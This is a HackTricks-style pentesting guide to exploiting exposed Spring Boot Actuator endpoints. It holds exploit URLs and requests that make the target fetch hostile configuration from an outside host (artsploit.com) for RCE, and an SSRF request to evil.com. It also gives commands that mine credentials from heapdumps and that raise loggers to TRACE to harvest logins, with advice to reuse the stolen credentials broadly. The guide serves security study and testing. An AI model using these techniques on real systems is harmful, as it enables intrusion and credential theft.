spring-actuators.md (8769B)
1 --- 2 title: "Spring Actuators" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/spring-actuators.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/spring-actuators.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Spring Actuators 14 15 ## **Spring Auth Bypass** 16 17 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28927%29.png" alt=""><figcaption></figcaption></figure> 18 19 **From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) 20 21 ## Exploiting Spring Boot Actuators 22 23 **Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]<sup>[[5]](#references)</sup> 24 25 ### **Key Points:** 26 27 - Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security. 28 - Certain Actuator endpoints can expose sensitive data or allow harmful actions: 29 - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. 30 - In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path. 31 32 ### **Exploitation Techniques:** 33 34 1. **Remote Code Execution via '/jolokia'**: 35 - The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. 36 - The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. 37 - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 38 2. **Config Modification via '/env'**: 39 40 - If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties. 41 - Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL. 42 - Example exploit POST request: 43 44 ``` 45 POST /env HTTP/1.1 46 Host: 127.0.0.1:8090 47 Content-Type: application/x-www-form-urlencoded 48 Content-Length: 65 49 50 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream 51 ``` 52 53 3. **Other Useful Settings**: 54 - Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings. 55 56 ### **Additional Information:** 57 58 - A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). 59 - The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same. 60 61 ### **Related Topics:** 62 63 1. **Env + H2 RCE**: 64 - Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).<sup>[[6]](#references)</sup> 65 66 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: 67 - The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF). 68 - Example exploit request: 69 70 ```http 71 GET ;@evil.com/url HTTP/1.1 72 Host: target.com 73 Connection: close 74 ``` 75 76 77 ## HeapDump secrets mining (credentials, tokens, internal URLs) 78 79 If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).<sup>[[1]](#references)[[4]](#references)</sup> 80 81 - Download and quick triage: 82 ```bash 83 wget http://target/actuator/heapdump -O heapdump 84 # Quick wins: look for HTTP auth and JDBC 85 strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' 86 # Decode any Basic credentials you find 87 printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d 88 ``` 89 90 - Deeper analysis with VisualVM and OQL: 91 - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:<sup>[[2]](#references)</sup> 92 ``` 93 select s.toString() 94 from java.lang.String s 95 where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) 96 ``` 97 98 - Automated extraction with JDumpSpider:<sup>[[3]](#references)</sup> 99 ```bash 100 java -jar JDumpSpider-*.jar heapdump 101 ``` 102 Typical high-value findings: 103 - Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`. 104 - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`). 105 - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory. 106 107 Tips: 108 - Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed. 109 - Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly. 110 111 112 ## Abusing Actuator loggers/logging to capture credentials 113 114 If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).<sup>[[4]](#references)</sup> 115 116 - Enumerate and crank up sensitive loggers: 117 ```bash 118 # List available loggers 119 curl -s http://target/actuator/loggers | jq . 120 121 # Enable very verbose logs for security/web stacks (adjust as needed) 122 curl -s -X POST http://target/actuator/loggers/org.springframework.security \ 123 -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' 124 curl -s -X POST http://target/actuator/loggers/org.springframework.web \ 125 -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' 126 curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ 127 -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' 128 ``` 129 130 - Find where logs are written and harvest: 131 ```bash 132 # If exposed, read from Actuator directly 133 curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' 134 135 # Otherwise, query env/config to locate file path 136 curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' 137 ``` 138 139 - Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose. 140 141 Notes: 142 - Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`. 143 - If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers. 144 145 ## References 146 147 - [1] [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) 148 - [2] [VisualVM](https://visualvm.github.io/) 149 - [3] [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) 150 - [4] [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) 151 - [5] [Exploiting Spring Boot Actuators (Veracode – Michael Stepankin)](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) 152 - [6] [Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database (spaceraccoon)](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)